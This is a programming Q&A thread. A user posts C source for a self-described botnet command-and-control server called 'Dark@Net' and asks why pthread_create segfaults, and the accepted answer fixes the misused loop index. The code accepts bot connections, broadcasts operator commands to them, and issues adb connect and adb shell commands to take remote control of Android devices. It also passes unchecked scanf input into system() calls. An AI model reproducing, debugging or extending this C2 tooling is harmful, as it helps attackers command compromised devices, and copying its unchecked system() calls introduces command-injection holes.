C Segmentation fault, pthread_create

81 views Asked by At

I am stumped with this pthread_create segmentation fault. I have already used GDB to find where the fault is — any ideas? And yes it's a botnet command and control server; please no negative comments because of what it is. My intentions are good and for research, also for me to learn about tcp/ip.

Anyway, the pthread_create segmentation fault is at "pthread_create", line 249.

Any ideas why and how this is happening? Maybe even a fix?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>

#define TRUE 1
#define FALSE 0 
#define PORT 8888

#define BUFFER_SIZE 1024

unsigned int device_count = 0;

pthread_mutex_t lock;

static void clear(void) {
    printf("\033[H\033[2J");
}

static void banner(void) {
    clear();
    puts("\e[0;32m ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗███████╗████████╗");
    puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔════╝╚══██╔══╝");
    puts("\e[0;32m ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗     ██║   ");
    puts("\e[0;32m ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝     ██║   ");
    puts("\e[0;32m ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║███████╗   ██║   ");
    puts("\e[0;32m ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ");
}

static void help(void) {
    puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
    puts("        ║     help                                           Displays help commands              ║");
    puts("        ║     list                                           Displays the amount of bots         ║");
    puts("        ║     banner                                         Displays the banner                 ║");
    puts("        ║     clear                                          Clears the screen                   ║");
    puts("        ║     exit                                           Exits the botnet                    ║");
    puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}

static void list(void) {
    printf("\nBots -> %d\n", device_count);
}

void *handle_conn(void *new_socket) {
    terminal(*(int *)new_socket);
    pthread_exit(NULL);
    return NULL;
}

struct function {
    const char *shell;
    int (*function)(void);
};

struct function botnet_commands[] = {
    {"?", help},
    {"help", help},
    {"list", list},
    {"banner", banner},
    {"clear", clear},
};

enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};

int handler(char shell[BUFFER_SIZE]) {
    for (int i = 0; i < commands_amount; i++) {
        if (strstr(shell, botnet_commands[i].shell)) {
            return (*botnet_commands[i].function)();
        }
    }
}

void terminal(int master_socket){
    int k;
    int w_buf;
    char shell[BUFFER_SIZE];

    while(1){
        pthread_mutex_lock(&lock);

        printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
        printf("\n\e[0;31m╚═> ");

        w_buf = 0;
        bzero(shell, BUFFER_SIZE);

        while((shell[w_buf++] = getchar()) != '\n');

        if(strncmp("send_command", shell, 12) == 0){
            k = 0;

            char data_send[1024];
            bzero(data_send, 1024);

            printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");

            while ((data_send[k++] = getchar()) != '\n');

            for (int i = 0; i <= device_count; i++) {
                pthread_mutex_unlock(&lock);
                if (write(master_socket, data_send, sizeof(data_send)) == -1) {
                    device_count--;
                }
                pthread_mutex_lock(&lock);
            }
            printf("\n[+] Data Successfully sent!\n");
        }else if (strncmp("connect", shell, 7) == 0) {
            char adb_con_before[15] = "adb connect ";
            char adb_con_after[15] = ":5555";
            
            char *adb_connect_ip;
            adb_connect_ip = (char *)malloc(32 * sizeof(char));
            
            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
            printf("\n\e[0;31m╚═> ");
            scanf("%s", adb_connect_ip);
            
            strcat(adb_con_before, adb_connect_ip);
            strcat(adb_con_before, adb_con_after);
            
            system(adb_con_before);
            free(adb_connect_ip);
        } else if (strncmp("cmd", shell, 3) == 0) {
            char adb_shell_before[15] = "adb shell ";
            
            char *adb_cmd;
            adb_cmd = (char *)malloc(32 * sizeof(char));

            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");
            
            scanf("%s", adb_cmd);
            strcat(adb_shell_before, adb_cmd);

            system(adb_shell_before);
            free(adb_cmd);
        } else if (strncmp("shell", shell, 5) == 0) {
            printf("\nRemember, to exit, just use the 'exit' command.");
            system("adb shell");
        } else if (strncmp("restart", shell, 7) == 0) {
            system("adb kill-server");
            system("adb start-server");
        } else if (strncmp("exit", shell, 4) == 0) {
            break;
        } else {
            handler(shell);
        }
        pthread_mutex_unlock(&lock);
        sleep(1);
    }
    pthread_mutex_unlock(&lock);
}

int main(void){
    banner();
    int opt = TRUE;
    int max_sd;
    int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
    struct sockaddr_in address;

    char buffer[1024];

    fd_set readfds;

    for (i = 0; i < max_clients; i++)
    {
        client_socket[i] = 0;
    }

    master_socket = socket(AF_INET, SOCK_STREAM, 0);
    if(master_socket == -1){
        printf("[-] Master socket setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket setup successful...\n");
    }

    if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
        printf("[-] Master socket opt setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket opt setup successful...\n");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons( PORT );

    if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
        printf("[-] Bind setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Bind setup successful...\n");
    }

    if(listen(master_socket, 3) < 0){
        printf("[-] Listen setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Listening...\n");
        addrlen = sizeof(address);
    }

    pthread_t thread[150];
    pthread_mutex_init(&lock, NULL);

    while(1)
    {
        FD_ZERO(&readfds);
    
        FD_SET(master_socket, &readfds);
        max_sd = master_socket;
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(sd > 0)
                FD_SET(sd, &readfds);
                
            if(sd > max_sd)
                max_sd = sd;
        }
    
        activity = select(max_sd + 1, &readfds, NULL, NULL, NULL);
    
        if((activity < 0) && (errno!=EINTR))
        {
            printf("[-] Select setup unsuccessful...\n");
        }else{
            printf("[+] Select setup successful...\n");
        }

        if(FD_ISSET(master_socket, &readfds)){
            new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
            if(new_socket < 0){
                printf("[-] Client connection unsuccessful...\n");
                exit(0);
            }else{
                printf("[+] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
                device_count++;
                pthread_create(&thread[i++], NULL, handle_conn, &new_socket);
            }

            for(i = 0; i < max_clients; i++){
                if(client_socket[i] == 0){
                    client_socket[i] = new_socket;
                    printf("[+] Client added to list, ID: %d\n" , i);
                    break;
                }
            }
        }
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(FD_ISSET(sd, &readfds)){
                if((valread = read(sd, buffer, 1024)) == 0){
                    getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);

                    printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));

                    device_count--;

                    close(sd);
                    client_socket[i] = 0;
                }else{
                    buffer[valread] = '\0';
                    send(sd, buffer, strlen(buffer), 0);
                }
            }
        }
    }
    return 0;
}

I have already tried GDB it told me where the fault is still don't know how to resolve this.

1

There are 1 answers

1
pmacfarlane On BEST ANSWER

The problem (in the question, there may be others) is that the variable 'i' is being used in several places, apparently for different things. It is used as a general index in three for() loops, iterating over max_clients. But it is also being used as some kind of thread counter.

By the time pthread_create() is called, 'i' is set to max_clients, which is way out of bounds for the thread[] array.

Adding a new variable to be used as the thread counter would fix the issue.

int thread_count = 0;
...
pthread_create(&thread[thread_count++], ...);

I would recommend removing the function-scoped variable 'i' entirely, and using variables scoped to their loops, e.g.

for (int i = 0; ...)

This would have made the problem more obvious, since you'd have had to figure out which variable to use to index the thread[] array.